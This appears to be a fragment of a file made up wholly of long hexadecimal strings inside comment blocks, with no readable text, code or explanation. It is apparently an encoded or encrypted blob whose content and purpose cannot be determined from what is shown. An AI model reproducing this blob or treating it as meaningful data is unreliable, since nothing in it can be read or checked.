bb23194d742e8dad870f8d6dc8c6fc9003f38f6c468f83b2341939746f3c4e0f57eff9b65f920f2dd617b7ecb3cd6bb80c8451edcb1b1e7bf11367fbdc15646d42a577f2b6749be29b2e6311b2358e6b35f78196f839f8ffc0fecf4b560d75e613ed66e349c720501a3abf8a2381080482cac8d7f9ca5b9e951cdbc9f54d1be2c114cfd810563930609ee369e71b1894ccf2a2801f5a5092da776bfdecceaea3d8afeaf3967f65a34d9045b859e25c825a7046972430eaecf1e2f90b52678e4d8ecae75e5d91fc8eaf176a67270edfdce8137cf48736c3f73020222efe2d3c08863c4382d36b27cdcaac79534a0e5590e96e4eb9237d7079521977dfbff77c53be99aa561f9a86db747a98e5d3a274fc2f104713c30617ba00873c76c05a0cf935b68e9ba7df4fea3cf2ef4971ad1647cd0ac73df482a340206d9aaa3659ca482e9265a01c90828e520a1fa690b80e93b8535878a4277a56bff4b0bdcf68a7746c8337447a96468b074cd48c84372009a36942378dacf40f9c48124204dd1c95d961ca775814fb2ded4dc33bebf08083450bd22bdf854926036c8ce37eb25759a352712f5179b475dce1ac1f122b7bd10b23f5ebf2737dd2bc8cdade35113824a1de50e72b648b5b8b430696e91cb18ff1533eaecf0ea3704857bd9102679c9c28b785*/
/*b1422d26715e32e24a457482a09424962f131bdd7004133242f53aad11641511cb5b71c83d53a1192bdd38a58212a21d8e47293faf74e0af7ba7c7aeb4bdda8cb920d92887aba017e2f6344b661d056abd7de6aa08ae261a6e83c98c56c7bccd718263456fb15af265279ebf519e9699d9827afffec2cac1f5f2c50fa8cc5a0aa3ebf289de22b1534a57f5a59c357de9ac32fdf1c026cd36ddde2eb448a02729072fc47c5325450841898f90548226490d34c866906b6e0c5b296b7c4a2b90375df1e9f460caeff56c147a9be2521246034886716a375656bd798de7218f2bfdb58eb166330a381cdc5ceb0ae5a9b14492631bbeccae7432413e4df1bc5f24d0fc29a1825df400242854d716bb169adabc20a13377e1bc1d5d08a883fa776d43930e38e58af85aba3b1554a59c818e81acee1d26ec7ab9448ef27d389c7bd9257c4686c3f074bb25adc3ef72467fc9fdfefdeb11a52c997eda939535dfb44cb36fc62366c960d3f98f33f3dfe10dbc40056406fcda882d16aface6eea4fae0712fe4adca134bc7204127db6a3f25961df77fb1211c81b3b4b4fe8db7d17032ced67de156b7ddc3249b41a6e637f4a9390c10ac50536241754f6c68b1f2f6c18e0a576f943768bc02c8583a371f2ad984e5af3034d1c961393ad9f63cfc8f3d0f01577f1a3fb46abfdbc15f9c195db77d92b0b9391a7aaa2bd4983f285aed1154c0962a1c073b150ba1cc44435ead3556c1e18618799ff9e2aee4b8e15aae6818f542a9f5c85ea8dfec5f7237373bbd7a185bf12f8c0dd7c929106fe4f55629c4307786e9d2c2045f2aea2b3dc2fa2be0cff0481ad8f2e9c08d79debcdb65947f404ead314cf1b97a3bcd2b33d551a7beee376ae9bb7e6fdd254903e78860ea7275874b943e754287672497ae9ad035d403b9d58fa657969cb119314f941e72183728f3083d64c8e6d308fa3f934208661a28853af234e89cd064cd9f3af85dedef6115e3d096ff6332a723946b192f279a0e835d1e09f1c84eb231bedb627382922b4a7458c55acb8bdfde8561af491bea5c09901fc9ea7406327cb78a1ff10df6434bb4be9081478d07b85805cd4cb5dc816424b15297e810d813738185f45173fd2b5e1001e9f2afa55ddc69e75db947c30fd690f582ae8ffad3af4ccbd0511bcca234116a1adae635b95164278ce0e316d2739a6dc159dc0694f87b1c61cc187bed21949c556310324aba5fe3c3b0f762a9c3d8c8e0349a464301f7be2191f31f59a13695a731f2f99fb9121a8f02a10962e320347645ee36fc05c51c855ec21e7e2f53067e0ada8fd7ef1e2d0f49b9163baba5a311fcd7836437879fef51bdfcb270910458110513544ff9c854d8b8bd9ec5b1ac4e7e868ce2679ebf43b7b0aa53f959a8814e498b2fb6b2a759614ab96c61c4af8f921cbf3efa19fd3843f8d5c7233c97ea9ccca869535f682afcc42bf14b1adb9bc69225123164e442dc66aa18e053eb059e63ac8109fef5116e79e0951a805f4a53f822a12e7dc71d9fba4f013528eebc86230e2ce19f7c8cfeff09fd24cb6a481db499786946c600de7f61c88693bd5361d36a3fdb77f4ef146473680eb036194893b4be83652cf3b61d4d86ca25b1fe6b36d8e8c3362ede6023573a0921dc5d241df701a45456336013baa151abcb0004a30cd2f5f980b901bbb0e8e9acf1a7b714c0c3b8e6a039ee11b6e4c83ec72cfe0601b568abae3e344c5bb93e055634ac7130cea6b17dadeeefc348386b1988b5ee97362b5871f8f648fe68ff4b9de34ad894173038b848eb8c17ff87239cdd431d8a30e125540d909f1d897f720cfacf655239d0ef133a879bbfc2b7bfe11068dfc591523c715e94c097091af87d5172b29c38b3d7538748c62d49d60c6e492cfe89c0152fc33b73c71d5cafdeffa7b8b46b6825b109fa2f2272206f0deb1c8b7aa759eff4a77deed49cec264705d80fdc846fca8752d381edd780c93dea43b0027886862c9b5712a915a9b730ac0a125ad331f5dd187cb185df0a601c55076d02af41718c04e292c6073f80141012210de51793ef0bcbb16aaa893074118c8d4ea37f3dd0098ea7604b32ee2b15963966bd2781f70fefc82faf82b2b18171f16b739733db6fcf7bf8215a945182c232f5c6ea23a7ade23a040a703c315ce45bde94d2d6c0e75738da84a43195327765a2b2f9536f35a18baf4bfeeb7ea0786757b62765ea069c9957c8f8c75f666ce837a5d366757b15b4635d5d671a10d0f08d0791dbf4102e0741dadec9ade05e0a5468147541f91f8b153132d7142654b40d79c3889c153cd4284d264da9be286ea74cb734c92bfed26cc44e8038eeaa6a054e7019e789a830221ae65b719ccbd058948197621f1f1b8233ec69a9f1a1d3d26ea8137b2dc733192c690ca6c2d0d44495b59d7cd99e66b57923a8fc4b239a55444025f5d126d4cb52df946b0108cdf1a088d1266b71e91d94513477b0e238c2f389c0e4546b479ba09fae6bab788274892f21a137a0523fb9d3eea9ffb2805ca4989b4fc61f77365260a7484cab4ce38545d7cc162fcc268974bc1e3dac24383fa3b388782b6f62d359eeee2a09c40c16349c2dad88c821e1edb0a230f51427bd75ca8aacea72db6938c859f6d4c236a0cb9ede4ba53fdab4024c748293f7b2a48560814b6f93711f9b548ab738c2a913a06d149388761cd46319dd2e4fb005e777535a6c0ba82a1ae9619b15cb874b98d37a3b4749574597bf744bca0e3d30af784dd1ae29d9de97e1190e24ed7e932f10c2b0d03e6554c3855982b87820ae9fcbe7743cb2e7*/
/*296d1c295e825bde9e1739dce310a5829fe0cae0539403af5b859b86f39120bb2f7796fa9031a2d5a53ebae387f38abc04d02a52db89a887ac230df4c533ecd65744cf25a11089d58bb53ba295ab739a1e00a00555aabe81a5189b85fc50458e40522f817ea15496921bbc6025cca42c6db70f24b660749404dfb572274a94d551fce4cdbfc2f2383b83a6c719a92abf313532515e1acdf0d251db2d6f4df73ff5163c680a84b01e01eb00e7f704bd48b5c8bfc494ce73a3cc2e5fb4846db355d5cfe74e43630217acdbf6bd66920a87e96f767e1ef9c0c505cfa1849d768831cc5413ad78d31c9bd15387bb218893f1dc3dc7ec04dd0556bfd84be20808c6d4ee308add4d425464cb4d1026d72ee187cfd8875e19416313b4451fc1fd223f80d9a701e9099546f0f5b2e5ed6ff66ec4e624a1d6422f51da723da65fb24be9d622c52b78a681e92b95339f668ae30dc03e109d3fe5e06db3ce491b536cb0de9f8872b11c4f2c242f78bd7ee2c812f9bab873fcb18b0b3edfda3b14b81d64560db372836285c43c30a1ebe5c6fe0d430a201c49f262d7b30ffab51c7c1dcbf17908886be3243210371535c73ab8ebfefce9a19af21289a263c83d750bc1f863795c2df41ff58c700b6d3f3afdb84774244475db4c80d05caa94f2cea2cc8821a834fb39b3cd3745f1debace1871396269d86f87872fc7b2c92250bae41d681d2dd600d4ef4c06162e72eddf6b7f1acb725a87a016a4689c4c672519d43f016c234eebc24292c06e857d33b1d3ae1ec0a3ef1f6768a868ae76dc1551c8be4d34d64215bcade71d2d9195ab15454d9294021f0a24afe792feba02406de2e61421729ece0e8471d65b98e69de9f937764841e198671a10ae7318998b7fb4f488fd0f71ebd9d7475fb7e17e825c72c4d406c9dd68f4c5b396b68d1dc311f9cb4b3ff4d1d7e677f666fde9701f210605e070f5ece087286fd0c26c82c9a506af1ecee743553a1667a90e89a4b1f3982675b61f4c9ab21b50dcd12dff1768e7ae21b42fce57f527d81bfadd99a868e2b13e9847c1349c103bf4bcc6154e8243a1dbb4724330e8f2c11224e98e16bacb63d2f3c2d314cb92c224248dc86d1f9fa786e6087d54fdf23370ea1c806d9b42fada90775625736b35ceafcc40d6a83b727cd367587ba3d1bfa633db925b4d57b92410d249568f453910d8cf780b05e009797012381a0019a8c8c584932547cb7512e3dd6ed484e61e9fc912967332c3a6849850d2338a6f6804f595ba276ccf1f296bd3ab2d8696bd2045f880ea30d047cf42cf4851d0c06c51dec21c9ec3f6222956997f23cac0cbdd1e44490d35b104d6167229705bd6400763df1f1565a7a95c0af98197f88695418e1e9bda060fdcb02427c1dc02ecaab4896d6c28ab2a0f50a653797e89978baf90de3b5f0d0225bf0485b4e08254be4561a0716f97bb7fc765dd31728aceae5b1f8e576a87648f3e80dd3c7714386abd4b11030b9af729a171515d9dbf69613c986a4bc8b525710662dce4ca99f729775def26ef5437314184f6210cee75e3ebaf94a473fb7cef47dd661073600783c46d7d4cd8a94ce0cdf621fd28ffce8ea996f59bc0eaba87fbfb088b7528f6c1f0342a8d25666aba54c14838de7b98e921b65d94e3447605835cfb0009e46188ca8ff969e79bdf9949c4e2fd0918018fcbd41d206fb9a54276cfe763ec4e2efe3469227b6392d500a5fb73f74e131881a6281bbafed45c98fa53cf0c8d493ea3368012245c76c8494b7a9593803704c64939deb0fb47be159cb8cb91b5959b08b2463b5555bc03ffc6fa61bf30e8b265a9d752a3f095e5af6fd4912cee98d5fd2685a0e99310b49dd69d51dabf486cafd36cd77ba6c72a7ab3519c12c568ff015d032f0588d963c1f4f09a1533af779c9c7fd20749215c055cf86cc02f0f80ab422169b1bef68f6cea53d528a9b5260a12106dda6ddd133ba6792f771e5b7699690f12199771c6c40f2fd2922090ed9003b71932e5bb2622acaf45e2d2e4b1aeceeb232ab01795f59a8dfe0975870acd2bca4bfd2d0e0009dcfd9ad4e333cc3963a0f329155f90dd489dd2a54536071d5c40001cf9d9b495d4fff3bb4a6ce37966364b6b228480b8a396fcdc5ded4e3f1ad7e36e78f0ac06cc059a478e0d50750cc33cd9cecdda465ac64148b891715c7134dc02ef5d9a4ca9d6fc7405a06730b38f2fd7ee0482147bbb95103c65180d527a8edf4695290b642b882375cc87b1d7721b3988bba9009e21d3c3acc5c5144bc1dd89b209e185f3f6879b0621d6fbda94bfef72441cdd27d2ff5da842645b2c6d8d2fb64a03b8bf5af85a99074f4b424479f8b4ae0ccc0ebd93b6f9d0327907dad74e8ba2ab3c81c02a72846594a9785c5d0b7b9907e3c7bca2c866e6204ad4493862e04176304e404fd237176be107af9cbe7d3232c8683865f6b92f9376c10cd766bb5567902d0f1155de313dc229a282c2727325bdb4f2ca7c9c4860c92c342a0f01050d63df18bee841bd279497f98984286e87d130e1ff1c893bebc0a2afa58b4562a9f482e9e6b76c1f8645f840451a1b95c88f87883cbceeb1a8732e6de9db6e16e7b1af08fac0ef8a0490fd935b860c223e8ac23320c57576e974c3528fc10a6e14c5f7b587538e510f2a468c61f22e58363114589b72f8901e55f253ea55534e9c5494ac70daac2913851f7ffe8f5e9da737eb4ffd59baba5c2434a0eb3d60eed9da43b913ae77013c5a74ce8697a05e49b99450b6253625d8ed4a08159f9cb5ae312b528c6c53ce11ef6c572f56408d0d5699af62*/
/*563c7a9a5e438ba37622da910e1783f03a0a82a3dd22b61aa269bcdc48f71a787f1ae6d3fa1198b6a5150c0f636bfa118e4f1d74d5976030aa2089e9c00a23f5fa13c28c1a6ff7fc70a7abe1a4ff8357a30039f2edb415b597398c592f914c1234e1f0b5eb982b33699fefcc3df48f9bf992e4316cf3e3e69421f19f01905c0db6ce7912d3cdc70f9db2947481704f5252408a605ddcbec9284478ee7a7eba0388ad8b213501f8d3a17529ed3bd281ebcaecc22e32aaf8e4484fedded4025c510cf2312e0b12b6440b36946604e02737c2f47bda793555ab85f54e4c07e5e772e40a91a657319b0b2da2b66397d0b91de11dae2530384ef9e448315d11a9d139a194c347c633f174ec79fec1c3890f27d566da5b24689d34a276a5b4f3e765c2a6e7d075c544cfc30857609d50424ca76df55f0bed36898c23a6e18244e74c22eedee4d2546ef2b846e2fbc865599d4af089594f59ee5cbb26c8aa3138af7feae3e5d61a9de3ce5bc888ebbde453493c5224932cbe09bac689b9f4b2666861271f22b40b05db90e4ba0d19f427cb6c869c10646569c675e6f0cb0449eb1b2572b59a160300668fe166a4291a54699780fd26f925860ae8313fa069ad9180b1626de98d03b6d2d5599b0430f34949baf7c6f8d9e02eddd29614b828a46540de29fd70c85e9d34f6dcc5840092db7cf0ef839b3b80fec7389b82fb601b174e5e45dfae870f79c22bf88aaafd23b978ecca8038f5ae7e5847c646cb84e5f3a96bcd397c8e5357af589b2e1f35903e49dd1c6badfe4ad554f0aefbf3efab76b203c4a2a2e42544f821c33e48809716285e400eed0d26ec68d83c971be5d541824a81faccf399f80fbf0c9441abb60214c3ecc1691022a5018dafbe6ca68adeecc767cc597f8671c4f03acd19e1efaa8d81888f6d0467443729a78579c063ee669dc36bdb70be5b59527d05b5ccea1603e1a6f6ff1230cd31dc4005e2f158c39b253e194a343a8755735e8d4320131b36e07a853c1b12f330cc984901bc727c9fef5e7e2a529032c744f5810723fc301d70ea25d06ae5453c7dbdfa8091744da3712ffc7345f5a04c20c4b8ed787a38630caff8c8bdaf4b065a8d5026d6cbafe202f50565b95ebc7bf538aefe6f20e988c560933e493f7376bc5641eaa1f26163a14a41b733a95d6906041c7af22179e6025d57ecffd1a40d8581079d2d3be7909fb7233d5aae8ef87d8768383af40395d0401dc02621d3f2faec4576903ea23b33c394e80e4a1f8f402044e4c1add196cdf2f0790aaeb4c9f42f17fc7f4f916ef9290bd29fa9df58b588587ee43bc9a1736a47f34b272efd794fe2e1b159390e85e3a0d65057af7e74ab6ecc4b360813a9eab014ca5f6f3d61d37d0ba43070e81803129766b029a6728447201f8e775578a36bd8e83d3f70d3fe40a421788d406d02226615857d48448b1735c97bcb0f5d7e610172b44b59b92edf4588aefa20288620ad040e505237874cd68921389208d989c78980648c1cfe3ed96408af07a7ff2036ccdcb8ff8c0ec02e4ce9115490b23e3e7d6fb60068ea8c763b32abb5704ed4204185d8e37ac601abc75c17b4413fd2e0118997375242e67cfa27d55253f0046824cd8164629b10530dd0b1f552ba9e8d97c688c3ddb334866167ddb56621bf9fe2f24f59914e1a5513dd23b43a9ceb6c84ff3ad22910cbf2225ea31654eee1add470d6c66097091966a3cdfe02694cacc9c9a061435180987174614e5f731ee0b7748835f5e5b50f459de2fc503ce41f8f87fe246aa95d38a1cb184564d2e5cb858410dbe8db056a500d7b5a2bfd09758f544e5c6a6665a9e6601f80ba7909145028c08b7b0f148b139a723e74bb5ef53c2ed66075e44facb6fc2f20bc950e19892a6e8155713d005fb4122aaad0d8057b1cc64a9ed1ada0d3dd3edcc232aa36fd66972a23ea78fde8db40d2a732d0dddbd46ec172348b61af0aea774e3d7d502370e5dbef5be04f02bc5c980214194603c3fbb4c2fb2312977802ebc4d5231b52ab98168b3094fa6bd57f85a1327db02d6552aaf1e8dc0d7cec9de24bf08c99c8bb00219468bbcb42ea4a7bed36e8a4232656cabaad798b52001a0b17966c63628f04c61c970edb1dc0d85bfcd0bad8779407373305454272e46298099b417682afa20138423e031241197951e0b182bf5cbe6445abc178c22a848ee32730200b809a9e1356dcdbeece2c06cf134c9ca5690a58ae90737879d3d632f16b3db604ddcd45a23dd751aa15de38cff5ef634c2dfa70f51b81ab199f932b3d79b8403164688315c1ce0fcc5d42a843fdf6d8a169e3cf9f8f8185df440ed922ad7d0bdf9adb811b7a8fddaa41c832e42d72129e16b11cb3c8b4401cfa2593a2ed8a128456d69da51c636a897e14f3fe0e3fbde2ce4a462919fcc99cc30b4808864815979a3ac555334f43cdb9bf03bf48e57f8777fb74f77d9c2a287f66ea10209e73374236a2c4079efc128a952c5b08f37da64b8956015d3575291914a5b64bfedaa7767f7f8664d893e11de802bae3652f6290cc16847e8d1d7e29a651697c28d214d115afa6cb16d08c6cc73eb778b71bb7b97d719482341844d78263c5d390a814b43e8756da225e775e89d15d8b4c3ff9ad06daeb0986fcff1eccf00c73ef130453554f015f0e88c4250dceceae2d5d99882dca989dca3945bacd3b19d8af3afcff16f2377fcfe7baac419e2a281193d44ab36751e2a7d8edcf32b849d403014050782df23b026fd96720441df556833b615c33086d9caa6a6a0f4b0f1494e46bf354b53fb711a621faacbf6572*/
/*f9626293c4940271918b14ae74ee9d15f653b8a040cb4f9868f47e2ca07c5266d4aad0ca4daaf14a6aca347b17164fdac4be346a8b382fd8ba9fad3cb60b563c08f70a83a96234282176a2d64e4b985cd289ae4a4dfea6cde01182e8dec146a82281da22e433a2a5ab47e612c08c6983b044fde6cd4f756cc14375e9c392deed5b7c11a8b94a7b37db400601ea14abc85b78e3a65e647038954ae634b96b94e32ac0f48e8821d90c549e2f64903f231c6d9b83a7a39f1440d73eaab298ac36604be379c80084c6790e32122dc0be4293a01235f6b05b72a5d684ef88eb837bccab6f6d1e196cf16a78c2266a6b4bda793c31fd454310550e55ade83a72e04360ca643d43d35bcab9c4466c42987eb1f2e20b003f3b8f177ea285b8408ae06ef3252fce5cb20a69d614b60c870eb3e2cbc10758697f974770fd2ebaad158910a3af3961c43c3cdf4309d56689c5a9c4cb9116789dc43d3551efec7e3c0520a67221d3ab70cba0887a8842d917eaf721a87a7fde007045569254172a72df0e6ffddd732e6c0b9c2e9b642dc1a801e57aee463e6ee265fd1a3d5c9f7eade4586f0ea9122d51d40570719a6fb016a0b6df97200a97c7af39556d5f7975f425ed4fd68ce6aaabaae332daf86709ca6652b1a674d7b059f63cee98ba9d88b84eb420b4d7a90083c95b05ec9759a25238821589579126529f2c44c37ae29c2ac07af5fa19b6687b0ff113765adb5edd450a348e2718b25fdb828176bddc7c95975bc8025666a1e016a9ac0b963d330c08dbfb3ca7605d6ad58a592b52aaebff77bf79cdbf931158f76440a85d9b7e3320223a13b9c3dc60154a27ee014538d25a98442a0aa56ea7f4916a61cb3af980136fc5b0f3d9400c0c499d258f9c529220d4e44ceb9d5c62ec7ac2b52682515b1ceccc62de6e4a7c182e4010f2b244a1ea2866803f6a148da4302cf8d59a10cc5bd5fad1420cd4d20d077f0233a3f33b4e5ea249349528aa36f87c8fb02eec2e5f9f6673bdbb2d7ec6ca4721e2918d05115142637b06ad422ff120f4309b4d69be28017f997e686b6b7dc9b1ef5aa67d388ab1c9ff2b15e3beb1584ca81e0b933d7f4980a9544ec2eff8266707bfc1a8f6ccc87e916e028f7427f62c757adc99080ff698cd24ea2851b10abed4a6eab07e51109ed68b9f8338d3376004af7688fa4b0c90278e2ca2f52aedd73a464341c8ffb2c18bd8abfb903661b8be7e9475e522b65023dc47a5235eda64cd71cefefada4e3dae781226be31349db2dffde8249a1daaefb62785e1b2538a86f4f74d0c63e3f8cdaa2baad11942e76b020fc1543adbc0174600f449f40b12af9bf3c27f8d9156aeaf252af142d58e50aea0e4a2d2520a84d56fb187db82704ff49367a22cdd1b5a1791fe6e522eecc51cde5d0ad540adef03970d6a639fd7d98ac4a18e44b575a975879cb870b14033d56e93791347861fe9ebee16ab6da2af658e5003669807c6ca87096466c94d2e500981ef41d01d9830019d5535b11b724fae5bcede1116dea7484d9b3bbe4bfce83212e5e79debb8fea22e72dd52f18b25caae940c411c277966a8d991a03de48275b4864cd3bf0f9a118eddc62d399c85c40353bd9819fd8f3791aa3d3fd1c4bc6558533ecbc1123d30987c854e9841b44a308479cf44601f18a44cf536c8ae252316900196fb01d486809f53f309a350422b1d185e018a348a5615afd6fb867b4af6f9aa998d9a1216bfbeea6b5e8019e1b9a5c37cb1e1c7afa863d5aee1edf585721a4d5f1955c8c7e8a3918cf612e284364798628dd59cfef000a48ebf499682bae2388f176a6617e2282eecaa32ea7006c9d4c6adbab8f787ac3929e7e0e3debcbb711bbc7b1d29d94dae3aadbba78ad8775c16bfa70bbe2c3a9c37bc4e741171a1a6935b73bdacc76c684a17942bbe7e3e6d6ada6af0f0960ab25d12b3f89b5cd92ab9b1c76b6d3fc67dc21776691675806322aa1c02a627218ccd788da2a0c7b971b9d836b153f3b6b4c4c24c06880a10d6a3a1d8ba436a4c05709dd358511f18fb9aa8615de8967d2a7a9df92b5a5afac0a667418bc555d15f098510cab97dd9478e66c84975ef3ed14bee1908788cd5a81660a382bcad0a62434cb02110f7caa8908d5d2f8142cea1e1f7b7f511475f713b7ce9f472377eff9d81ca9c79fdee55bfbf65666c04c03e511140494b8fe07e07f1f97cf26bec30cd42c18e70f1ee2c3dd274993605cdd5e948f063eca369a67f3d75f783a90a008ab76feff1137e73b5f10242e006c3067979eb6d398949e823f8312271a45a1026c72b47d6a8a334b4dd67aad95656a9eebae57611f4029216bd89fa105a1caaf82a7dcf57e087cb7edf31a33cf0b6db42f6b7f1cc9f92675e48e32cf4e5beee78304a5cbfb5698d15a4b58b7d5e0119f915666f596e4fd8a4466b28edd6762971403eae6d12dd3b33184dfe9b5f22d4467efa05c4a1ebf99a019a8771410abeb442718e3c02b39d26c2b855a8e9b3c8ef4d8ce2702827a2822c671fcbcb0bfb37ebcd6f5cf3ca5638f05819d2892e6213124c87b65023327c178e613c5ded0c7a25ab134883545df307913684f15aa7dc2932abc399b3ca13e0887a602e69316fb8fc71f1f8f2112c127bdbf1ef69cd69e7a04ebb07672f00db18d7a5e3ad0be03661698dcff7f781bb1dfa19814892bc67a808cdb47bb7b540aeecd398e22898fe426b3f0709fcf37f71466d08ff12cfed47380d0661dba63349d0aaca5d0c14232c108de7f0a61194abff9da9b9f2a680cb2349d1b16e80fa3b695bb436abde72f291d24a3ab31085*/
/*7a22e9c2c2d602c78df453d60e21f1aa56c34f33f951fd7d3c9ccc5be907474fa38138285fcf4ef1cb0a73e059b14f944e47bc88af379f76febf5c476b179c1735b6c7a2d28a49be30c14f890228d6d1f4c19564a5a964f37312c09f1c71dba75c053f86d48fbb960475eb01a4b7b538463792766d60fb5b130be8b174a66ab0dc5d44e2a8da651f9dfe222847238d6f72087b512101abdac01d99468baf0f2bc82e610ab70ac8e2d9d9f96780649eabb84cc0733cdc4e4e53587a39121f5a464453ee89a164ae550f9de2ef03967089f60976c5be5cbf05830ed6e544550a8e1c00f74522feed062a5c0fb84f173117223878bb65c0524c6b1d497b3316a181e9c9075f8ff1c651f7861b92342272fc8db31746388844a51d38281884f7ee3143b178a81a5d5b3a25bce86cc07d3dd2ce171f01dc1c7ecd6becaa96f25d5e0bac6c2c56d790901e065dffd1360bcae371f2490973367c8f3c956b03708266afb934d7a3c96797821a4da6b3c740947b7afc343563da6f2c91494fc2a8ce3b236eab7025e85a064585c3ea73f5991fa70e606b77d75ff8a4c61d50f03ec06fc525c86dc1d51c2a92ee35fbe33b77a36e335e94a33018a28e1551ab5c1723e13476dbbe52cfe0b44ef29329d9d96a916bd56caa5b5aa734c252f4df14ad40f58e9706c7880d30fbe41b68dd1b88579186b15589fa4106fed33a33aa297d8804cedbc185dcfc109dea20ce31fa7cc87aa17f3901e4afbfb2856fd32700a7afda01b8753fb366f1972ac3d337f88449515bbd9dc324bda9d29f8928d4fe022703d8255887f0db79af864ce7c34d8104bb72e8d632e91a693ae35fc1774198b1e538f110f1617784583c709305af894eeb632f7782315d49d0004f57a4713e7bfc5d3f9ebf33fc18b604e14755b9cb97a71e7f031686715a7bf02ca2efb0129fe053ebc4bd7ffaf38a8ffe30d8b7bb3682aba55fb3dabda12f70876a864086970e43aeecf59d2c419bca2f23e71b15e81810a5c9bd7743d8baf2a78d8063d0e976d1a27229282ed068e6a31a9222f3532a4853433ad715c9ffcd77b4adf776a587e8005fd92cdb510d166da4d725b9f323341a6b94f60b612b7718e72b050e0dd39d2a7a0186b4fce10e40ead45e027658c8f2fdf14873375f0235a5cb8c82b0a63dcf40db484fd05a9d3d12988e273d1e3a992dc52a3415dc85c3edca061509a63054ac422292009381723e1a924f32673594da1fa3c7438db2d5a36352e749ccf03bac39818c0e77d6563e28945f249647c0029197cc4a0bb35e0c7dd30e72dff07ef70d8d855182d2d372fc5dd61a7e4e3c146432437dcd2ce8fe1c9e484ce41a9e68fb76ec00814ae8ff9e23c6f86d97d4bd5a112ba25c10f50d6040174370581bc1bc9282a4f37b5499326680278ba378eed45e9dc44142f957a5c61944463d3f19bd73224a1523f1a312041ed7546fe4aaf6db72bd02d4bee497ff0bbeb75c478cf1fe15e0bb7a6dbabe1306c0293484bf5684486c0e96a92a00ab8cab9b4a54fe05ef5fb2d993e5039ef6ed8b514394300b02c2bc123212b40838ac739bf03e1bf2caddfab828865e4d9ce2bdd7f78cc1bce4c8d08cc39fc1ac2b1262866d23b028c577466b236e61e01a67e5409041b3ce4a038ec17af8e977086d094a618f11d94aaf218d7e223e9d439a1c3aaf860b5a5c7d3b916cecd28d3b8317ef3efe30e06f387fe2a2a188c683955162fa85b6bb396662b054f29b6e1d0b602cbf24a418680a559333ed3f73ae2bb6a630023b47f852c0d46ffa9013275e386319080ef6b8f3e98f3dfad56827c209f5e8ebdf261a5b3abedc5bf138395b46a082d1e3f1f2bf86dcf06cc46e483e4bb94ea18e852a26f69cdff6ecb7947cd0e6144bad205201ef3f2770b3facebd9ab331d4384ceedc268e945311845f113c03f2be09a52d97d212409d94c5559fb2bdedde5eba56af250da2500fc6adec9f59969a33b27192ccc3cfdd8afc578fed54129f6bb644b45d4d80f4456da0347d66078105d031dfde8d241e34a7ed26cc235d7952071b21ff198408d2f2bc9bf979e3aa53c074389590085ed2ccba114fa52985ee53007fdc7355340b074b557b5249cd3e0b005a1be9624e09d5f584cd18088bc382c5be4a5103c979a7bfef3aaef936f48707ac4d0ba31dfc44d04539aea65196355e37162eca1cb53a1678df4a022593baa1ec35ca32bd3e16e6b9996ba273448ddc20e767c0e2c051057550619729d01e9aec4e94f74c242dbefefd31b5f02730678cdbbf3be7760eb2c09b5e65e7a0b275c87cfb5c62df4cc1bba2f99cc06c2537f8a9c2847fd1307b290ecbcf22d6d44811969ffb352a57e48b7cdb983e3adef925ae083b702caf2e3e6f99aa4409b56c75085384f7f828c9f3d8311428c3127cd4f3efb018c21919e1bc7e5407571dd20bd86591eac6f389f9252c03d7526c6eb080669a6239fe6182179bd61ef854a81da9d6e761bfe515fe20c69e58d5956e78508dad74be5a6fd10b01582ff4ed29d1ccb2c05e55232914e911629c4ac5079535d67805a83278a06db518413274f12f8db8d06f4b6ce353d81f781e1afbec11e9eae3b0977797d4f6d44f920191492321c387cbf572119225f02d4ed63b68e0dc3eb4228d66d509735f9bef1620734432176d3349f1be5d34a4d612765efcd5b55693315f5aac06589f51598ce8d21e95f6a2e156ea92a66af9075da44ae18bdbe5f9e46c93dc4c0e75b09afe1f2969243047b05baed400102f74facf23996f5d1177da8b3a297bf3f3262b3b882ced1851a3e59c7c67f9094040*/
/*4461b511ff03b48b7ef0a2f2b6bddade162688274a00d48eb9745fc3f8feb7bba85f82e2f87f93a026e9bec8da85d5513f6d78517270a8f8b2799c402d789a5f8384987ef8f73150537f4e191ff898ae1e0093034ed547859615cd9369a956facb7c5212dd313571e1ab564786cba5ffe9533c8c63c1aa11f905dbd6f3a1bbb8cfec66f084a63660e1a94d5c42acbb371beda7cdc35354085cdac6602535896dc670d9b45f7b59016d0d059186a60868b6451bd1a3a27637ec1e46c5817e31b0513cec0447f734e49a4c6530cb9dc529abdd341bcd9f50eef1f8f851351668501fffe1bc4a2f3a67605e813c3aa4f0c52e2820e3bebc4b5cbe308a2e7eb880c852b69d2f1bfb3fc0075f08347cff56b9c78da138fadb46cdf39504934ca49889032ecf26046e947d3292162a1ef139fe14330aac7fa7dd105e00a2c7241755dbf515c69ec42773d571fca5e7180480e990127034bd8fa9b9e8ef4baa184ee595a355aab368cee51fc268dfcf2aa2a5a5a2d43d1f3750aad43ddecf314ac4758ef2978f8095e14b55a1ee0bf8a36486a648100bc9680dca6cd48ef4a66c2e2fa54221ec3e6e88636650c81b7ad9078cfca976e8c46fe0baf29863e40a90632f2d510adf9d02cee2588ce9b4e7b097a1f46fe8270b8a7572b6589889bac6c38df66f7c7e7132645677ab251bb634c0aa8d459162f1959c81c0ac4c1a7db0dcd506d3a6313c2db9d3e256bf960c7de39ecb3579108f0c57831cd83dfe07c6f8150f1cd3b2fefeca1fc74ade1831e95bbd64b4dc85db1fd35fd63f72ef47e04b7cce29294de6d4e7c0979eb0bf94f949019ceffb06ec2013c6ea6f479199531960bef101f0fa7ac46ddfb284123d86e22ae1ac731e5380613f9785a679089b7ef17c95041664f711bdb3d86073d2ef1f1ddb89b5b64060bb5d37b2d9765eab0292054a694503ae831d2d721582e348da36d5aabfa1e3e0a2af7a1b3c29eb3233d404bc4923c0ac0d4ce1e8f0d4b6094f97870407fb690c182c454579f7329b9df9715149b6b8075b16289f4e43142982e6029fdd8faef037c2e25f8be21e5423fd9fc980519151ac40d3eb7796b93d010e476d36acbb525cd1bc98a183275b744bcdc73d64e30f6eac9f098f3f3931a07951632823c6b450e9874a09300368af23c2b57c89b6b1c2e350a14581cc45861c3a971ab09382426fad7fc8b20b747d9ac49ec26bad8949d5c5efe48efc66c1cd338526c854cc0302c2a045d16019d03442851a41e4d09763bf006584b6a452020c193654b1461f6169396bca835a23022c884c51b4946b458a35b164de3b701965b8eb566422fffb532c55a393653415f23f090b0fba43a7b932964172527a3196589d9e6ad3a1194ff7bd03bab5d403d059815d7d8ef69a0c575153be36d8cf05ab67c189e01ff200488a9591eade0f1480a895b4495a855cc8e316ea9162cbfb6cf3af8a5226aa358d84529c3dd26edce8fcc7db2ed2601425ad6c671030ff252f0228f4db1156a72ea99de5161c